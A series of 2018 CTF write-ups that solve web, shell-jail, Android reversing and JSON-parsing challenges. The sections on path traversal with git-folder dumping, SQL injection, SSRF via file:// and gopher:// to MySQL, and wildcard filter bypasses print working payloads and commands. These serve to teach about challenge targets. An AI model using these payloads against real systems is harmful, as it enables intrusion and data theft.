Hackover CTF 2018 – cyberware

The hackeover18 CTF challenge “cyberware”:

The URL http://cyberware.ctf.hackover.de:1337/ leads to what looks like a directory listing of a few files:

None of these files are accessible via a normal browser, they will only display “Protected by Cyberware 10.1” instead.
However with curl the files are displayed:

We figured out that requesting local system files is possible by prefixing // for example requesting //etc/passwd:

We then requested //proc/self/cmdline to find out which program is running, this returned cyberserver.py.
Since there is a ctf user in /etc/passwd we tried to get the file //home/ctf/cyberserver.py which dumped the whole source code. Mirror here.

From that source code we learned that there is no way to list files in a folder. The content of files which exist will be written to the response. There is also this interesting check:


        if path.startswith('flag.git') or search('\\w+/flag.git', path):
            self.send_response(403, 'U NO POWER')
            self.send_header('Content-type', 'text/cyber')
            self.end_headers()
            self.wfile.write(b"Protected by Cyberware 10.1")
            return

Apparently there is a flag.git folder. We can circumvent the search regex by simply requesting //home/ctf//flag.git. With the second / the error message is “406 Cyberdir not accaptable” which shows us that we have circumvented this check.

The flag.git folder is a normal .git directory. We can fetch the HEAD file to verify this:

There is already a wonderful tool to automatically download and extract files from open .git folders: internetwache/GitTools
However I couldn’t figure out how to make it download the files, I think it detects the downloads as failures since the content-length header might contain a wrong size (hence the curl errors as well).

We simply manually built the structure and downloaded all the standard files:

$ mkdir -p ctf/.git
$ cd ctf/.git/
$ mkdir -p refs/remotes/origin objects/info logs/refs/remotes/origin logs/refs/heads objects/pack/ info refs/heads refs/master
$ for x in HEAD objects/info/packs description config COMMIT_EDITMSG index packed-refs refs/heads/master refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD info/refs info/exclude; do curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/$x -o $x ; done

We then find the location of a packed file, download it as well and unpack it:

$ cat objects/info/packs
P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack

$ curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack -o objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
(...)
$ cd ..
$ git unpack-objects -r < .git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
Unpacking objects: 100% (15/15), done.

Now we can use the extractor.sh tool from the above linked GitHub repository:


$ cd ~/GitTools/Extractor/
$ ./extractor.sh ~/ctf extract
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
fatal: Not a valid object name infopacks
fatal: Not a valid object name packpack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
[+] Found commit: 38db5649511b84ec8f9eb6492dbe43eabe1e6a4a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/0-38db5649511b84ec8f9eb6492dbe43eabe1e6a4a/hackover18{Cyb3rw4r3_f0r_Th3_w1N}
[+] Found commit: c0e01b58327e785a581c32b97e639014aef0f31e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/1-c0e01b58327e785a581c32b97e639014aef0f31e/ups
[+] Found commit: 7ddcca9c9752a2f616f9754dc100fc5e52f8f6df
[+] Found file: /home/vagrant/GitTools/Extractor/extract/2-7ddcca9c9752a2f616f9754dc100fc5e52f8f6df/qpoeqewrpokqwer
[+] Found commit: 5e9613e8069eb7a83c1b4554954fb7329490333a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/3-5e9613e8069eb7a83c1b4554954fb7329490333a/asdasdasdqweq42134e2
[+] Found commit: 1301f01e7dbd26acd8ca5b09fab05b957e702365
[+] Found file: /home/vagrant/GitTools/Extractor/extract/4-1301f01e7dbd26acd8ca5b09fab05b957e702365/hackover16{Cyb3rw4hr_pl5_n0_taR}
[+] Found commit: b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
[+] Found commit: dd9ebcb882411a06c33ea9d8e4246acf70e7372e
[+] Found commit: 19f882c9ad7aec1e682511525cc43e271896ae9e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/7-19f882c9ad7aec1e682511525cc43e271896ae9e/ups

And you can see the first file it found was the flag, the flag was the filename, it was: hackover18{Cyb3rw4r3_f0r_Th3_w1N}

Hackover CTF 2018 – who knows john dows?

The hackover18 CTF challenge “who knows john dows?” gave us only a login page:

And also a ruby class in a  GitHub repo at https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb.

First we needed to find the username. You simply clone the above repository and with git log you can see the email addresses which were used to commit, one of them (“john_doe@notes.h18”) worked.

Next we need to bypass the password check. Looking at the class in the GitHub repository we see that the SQL query to check the password is vulnerable to SQL injection however only via the hashed_input_password variable:

  def login(identification, password)
    hashed_input_password = hash(password)
    query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
    puts "SQL executing: '#{query}'"
    @database[query].first if user_exists?(identification)
  end

There is also a SQL injection in the identification variable, however this is first validated in another part of the code, thus this cannot be exploited.

The “hash” function used is as follows:

  def hash(password)
    password.reverse
  end

This basically only reverses the string. We want use this string to bypass the check:

x' or 1 = 1; -- 

So we simply reverse it to:

 -- ;1 = 1 ro 'x

And using that as the password, we get the flag:

The flag was: hackover18{I_KN0W_H4W_70_STALK_2018}

ISITDTU CTF 2018 Friss

The ISITDTU CTF 2018 – Friss challenge presented us only with a URL without any explanation, on that URL a single form field was displayed:

That form only accepted URLs which point to localhost.
On the page is also a comment in the HTML source code which gives us access to the debug version by appending ?debug=1 to the URL:

Here we find that a config.php is included. Since only the host part is checked against containing localhost we can request local files like this: file://localhost/etc/hosts

And we can also get the config.php file by requesting file://localhost/var/www/html/config.php:

In the config.php file we find MySQL connection details and information that the flag is probably stored in the table ssrf.flag.

We can send requests to MySQL by requesting http://127.0.0.1:3306/ but that is not very useful since we need to login and send a query over the MySQL binary protocol.
Fortunately curl still supports the gopher protocol with which we can send requests to MySQL without any additional headers.
Crafting the correct binary content is the hard part but that problem is also solved already. We’ve used this python script to create the payload. The author – Tarunkant – explained SSRF via gopher and his script very well here.

But this script still requires the raw authentication packet. We’ve started a MySQL server and then connected to it via mysql -h 127.0.0.1 -u ssrf_user (login does not need to succeed).
Sniffing the traffic with wireshark we get the following authentication packet (follow the TCP stream and filter only for client to server traffic):

Switch to raw representation:

Run the above python script to generate the payload, as query we entered SELECT * FROM ssrf.flag;:

That produces the gopher URL:
gopher://127.0.0.1:3306/_%b3%00%00%01%85%a6%3f%20%00%00%00%01
%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%6d%79%73%71%6c
%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f
%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c
%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71
%6c%04%5f%70%69%64%04%31%36%36%33%0f%5f%63%6c%69%65%6e%74%5f
%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61
%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d
%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%53%45%4c%45
%43%54%20%2a%20%46%52%4f%4d%20%73%73%72%66%2e%66%6c%61%67%3b
%01%00%00%00%01

And when we request that, we get the flag:

The flag is: ISITDTU{JUST_4_SSrF_B4B3!!}

 

Google CTF 2018 shall we play a game

Although we haven’t managed to submit the flag correctly, I’m still publishing this write-up. Maybe it helps someone.

The Google CTF 2018 “shall we play a game?” challenge:

This was in the reverse engineering category, only included a link to an apk file (mirror) and the short description to win the game 1’000’000 times to get the flag.

I already had the setup to run and investigate Android Apps from a very great BSides Munich workshop Fun with Frida. In the end I didn’t end up using Frida to solve the challenge, but the setup alone helped a lot already.

Looking at the game, it is a very simple tic-tac-toe game with a win counter that goes up to 1’000’000:

Starting to reverse it I’ve used unpack-apk.sh to extract the apk file and attempt to decompile it as well. Looking at the source code at app/extracted/src/main/java/com/google/ctf/shallweplayagame/GameActivity.java we find that this is the main program. Two functions there are of interest to us (comments by me):

    // Display flag and some magic we don't understand
    void m() {
        Object _ = N._(Integer.valueOf(0), N.a, Integer.valueOf(0));
        Object _2 = N._(Integer.valueOf(1), N.b, this.q, Integer.valueOf(1));
        N._(Integer.valueOf(0), N.c, _, Integer.valueOf(2), _2);
        ((TextView) findViewById(R.id.score)).setText(new String((byte[]) N._(Integer.valueOf(0), N.d, _, this.r)));
        o();
    }

    void n() {
        // Reset the board, remove X and O from the board
        for (int i = 0; i < 3; i++) {
            for (int i2 = 0; i2 < 3; i2++) {
                this.l[i2][i].a(a.EMPTY, 25);
            }
        }
        k();
        // Increase win counter
        this.o++;
        // Some magic we don't understand
        Object _ = N._(Integer.valueOf(2), N.e, Integer.valueOf(2));
        N._(Integer.valueOf(2), N.f, _, this.q);
        this.q = (byte[]) N._(Integer.valueOf(2), N.g, _);
        // Check if win counter is 1'000'000
        if (this.o == 1000000) {
            // Show the flag
            m();
            return;
        }
        ((TextView) findViewById(R.id.score)).setText(String.format("%d / %d", new Object[]{Integer.valueOf(this.o), Integer.valueOf(1000000)}));
    }

My first attempts were to start the game with a win counter of already 999’999 or decrease the 1’000’000 to 2. But neither worked, we won the game but instead of the flag we’d get binary garbage displayed. It’s clear that the magic we don’t understand needs to run 1’000’000 to produce the correct string (line 21 – 23).

I’ve started to look at the assembly file app/extracted/smali/com/google/ctf/shallweplayagame/GameActivity.smali and the method n() as that’s where we need to make changes:


.method n()V
    .locals 10

    const v9, 0xf4240

This must be the right place, 0xf4240 is 1’000’000 in hex. We can somewhat easy find the increase of the win counter:


    iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

    add-int/lit8 v0, v0, 0x1

    iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

And further down is the win check:


    iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

    if-ne v0, v9, :cond_2

    invoke-virtual {p0}, Lcom/google/ctf/shallweplayagame/GameActivity;->m()V

Between those sections, we need to add a new loop which runs 1’000’000 times. I’ve did that with the following patch:


--- orig/GameActivity.smali	2018-06-26 10:47:29.072510136 +0200
+++ patched/GameActivity.smali	2018-06-26 11:21:00.495157390 +0200
@@ -664,7 +664,8 @@
 .end method
 
 .method n()V
-    .locals 10
+    # Increase local variable count by one
+    .locals 11
 
     const v9, 0xf4240
 
@@ -676,6 +677,9 @@
 
     const/4 v6, 0x2
 
+    # Add new variable v10 with value 0
+    const v10, 0x0
+
     move v2, v1
 
     :goto_0
@@ -716,8 +720,20 @@
 
     add-int/lit8 v0, v0, 0x1
 
+    # move 1'000'000 into the win counter, we now only need to win once
+    move v0, v9
+
     iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I
 
+    # add new loop, goto_3 label
+    :goto_3
+
+    # break out condition, if v10 is 1'000'000 goto cond_3
+    if-ge v10, v9, :cond_3
+
+    # increase loop counter v10 by 1
+    add-int/lit8 v10, v10, 0x1
+
     new-array v0, v7, [Ljava/lang/Object;
 
     invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
@@ -786,6 +802,12 @@
 
     iput-object v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->q:[B
 
+    # end of the for loop, jump back up to goto_3 label until v10 is 1'000'000
+    goto :goto_3
+
+    # break out label, jump here if v10 is 1'000'000
+    :cond_3
+
     iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I
 
     if-ne v0, v9, :cond_2

Now we just need to build a new apk file, zipalign it, sign it, install it on our emulator and run it:


# apktool b
# zipalign -v 4 dist/app.apk app.aligned.apk
# jarsigner -verbose -storepass android -keystore ~/.android/debug.keystore app.aligned.apk signkey
# adb install app.aligned.apk

And when we run it finally this screen is displayed:

The flag is CTF{ThLssOfInncncIsThPrcOfAppls} or CTF{ThLssOfInncncIsThPrcOfAppIs} or CTF{ThLssOflnncncIsThPrcOfAppls} – I’m still not sure.

WPICTF 2018 guess5

The WPICTF 2018 “guess5” challenge:

The URL presented us with a guessing game, we have to pick 6 numbers. If we picked the correct numbers we’ll get a flag:

However submitting our picks never worked. Investigating this for a bit it looks like this requires to run a local Ethereum node. Before trying to set that up we’ve looked more into what the web application does. Interestingly it fetches the URL https://glgaines.github.io/guess5/Guess6.json (mirror here). In there we can find the ETH contract including in plain text for some reason. Which contains the flag:

The flag is: WPI{All_Hail_The_Mighty_Vitalik}

WPICTF 2018 Shell-JAIL-2

The WPICTF 2018 “Shell-JAIL-2” challenge:

This is almost the same challenge as Shell-JAIL-1 (see my write-up here for explanation of details) with the exception of one extra line in access.c (full mirror here):

        setenv("PATH", "", 1);

This means that before dropping the arguments to system() the $PATH environment variable is unset. Also the blacklist filter of the previous challenge remains the same. With that only built in sh commands will continue to work and since / is also blacklisted we cannot provide full paths to binaries either. For example id will now not work while pwd still executes:

But the . (or source) command still works. With that we can tell the shell to try to execute the flag.txt file and the error message will reveal its content. We still use the ? wildcard to circumvent the other blacklist by passing . "fl?g.t?t" to it:

The flag is: wpi{p0s1x_sh3Lls_ar3_w13rD}

WPICTF 2018 Shell-JAIL-1

The WPICTF 2018 “Shell-JAIL-1” challenge:

After downloading the linked private key and connecting to the remote server we are dropped into a limited user account and the directory /home/pc_owner. In that folder there are only 3 files – including flag.txt to which our user has no access:

The access file is basically a setuid executable which will run as the pc_owner user. The source of the executable is also available in access.c (mirror here). The program will take all arguments and pass it to system() unless it contains blacklisted strings, relevant parts in the source code:

int filter(const char *cmd){
	int valid = 1;
	valid &amp;= strstr(cmd, "*") == NULL;
	valid &amp;= strstr(cmd, "sh") == NULL;
	valid &amp;= strstr(cmd, "/") == NULL;
	valid &amp;= strstr(cmd, "home") == NULL;
	valid &amp;= strstr(cmd, "pc_owner") == NULL;
	valid &amp;= strstr(cmd, "flag") == NULL;
	valid &amp;= strstr(cmd, "txt") == NULL;
	return valid;
}


int main(int argc, const char **argv){
	setreuid(UID, UID);
	char *cmd = gen_cmd(argc, argv);
	if (!filter(cmd)){
		exit(-1);
	}
	system(cmd);
}

This means passing id to it will work but cat flag.txt will not:

Of course circumventing that filter is rather easy, the * wildcard is forbidden, but ? is not. We can use those wildcards to read flag.txt by passing cat "fla?.tx?" to it:

The flag is: wpi{MaNY_WayS_T0_r3Ad}

Nuit du Hack CTF 2018 CoinGame

The Nuit du Hack CTF 2018 CoinGame challenge:

The URL presented us basically only with a simple webform, which fetches a resource we can specify via cURL:

After a bit of trying, we figured out that file:/// URLs also work, like file:///etc/passwd:

Fetching a lot of files from the server yielded not a lot of success. After a while we noticed the text on the main site: “DESIGNED BY TOTHEYELLOWMOON”

Searching for this and CoinGame a GitHub repo was found: https://github.com/totheyellowmoon/CoinGame
The description of that repo read: “Congrats it was the first step ! Welcome on my Github, this is my new game but I haven’t pushed the modifications …”

From the description of the challenge and the GitHub repo we gather that “CoinGame” is being developed on this server and some changes aren’t pushed yet to the repo.
From /etc/passwd and /var/log/dpkg.log on the server we’ve also figured out that probably a tftp server is running on that system.

Requesting http://coingame.challs.malice.fr/curl.php?way=tftp://127.0.0.1/README.md we found the local repository:

Next we cloned the public GitHub repo, with that we had a list of all existing files in the repository. We looped over all the files and downloaded them via tftp from the system. Then simply ran a diff on the checkout and downloaded files. None of the code had any differences, but a few pictures didn’t match:

In any of the gameAnimationImages/background*.png images the flag was visible:

The flag was: flag{_Rends_L'Arg3nt_!}

NeverLAN CTF 2018 JSON parsing 2

The NeverLAN CTF challenge JSON parsing 1:

The linked file can be found here.

The JSON file contains a minute of VirusTotal scan logs. The challenge wants us to provide a SHA256 hash of a PE resource which most commonly by multiple users. In the data there is the unique_sources field, this will show us which file was uploaded the most by unique users.

Basically I use a short Python script to format the JSON to be easier read and find the highest number of unique_sources, then search the full file for that record.

from pprint import pprint
import json

with open('file-20171020T1500') as f:
    for line in f:
        data = json.loads(line)
        pprint(data)

Running this script like this:

python json2.py |fgrep 'unique_sources' | cut -d ' ' -f 3|sort -n | tail -1

Will find that there is one record with a unique_sources count of 128.
Searching for like this in the full file:

fgrep 'unique_sources": 128' file-20171020T1500

We get the full scan record back, submitting any of the PE resources SHA256 hashes will work as the flag.

NeverLAN CTF 2018 JSON parsing 1

The NeverLAN CTF challenge JSON parsing 1:

The linked file can be found here.

The JSON file contains a minute of VirusTotal scan logs. The challenge wants us to find the 5 AV engines which had the highest detection ratio (not detection count) in that timeframe. To solve it I created this quick Python script:

from __future__ import division
import json

result_true = {}
result_false = {}
result_ratio = {}

with open('file-20171020T1500') as f:
    for line in f:
        data = json.loads(line)
        for scanner in data['scans']:
            if data['scans'][scanner]['detected'] == True:
                if scanner in result_true:
                     result_true[scanner] += 1
                else:
                     result_true[scanner] = 1
            else:
                if scanner in result_false:
                     result_false[scanner] += 1
                else:
                     result_false[scanner] = 1

for scanner in result_false:
    result_ratio[scanner] = result_true[scanner] / (result_true[scanner] + result_false[scanner]) * 100

for key, value in sorted(result_ratio.iteritems(), key=lambda (k,v): (v,k)):
    print "%s: %s" % (key, value)

It will count detection for each AV engine and afterwards calculate the detection ratio for all. Running it will print all ratios sorted by lowest to highest. The last 5 separated by commas is the flag:

The flag is: SymantecMobileInsight,CrowdStrike,SentinelOne,Invincea,Endgame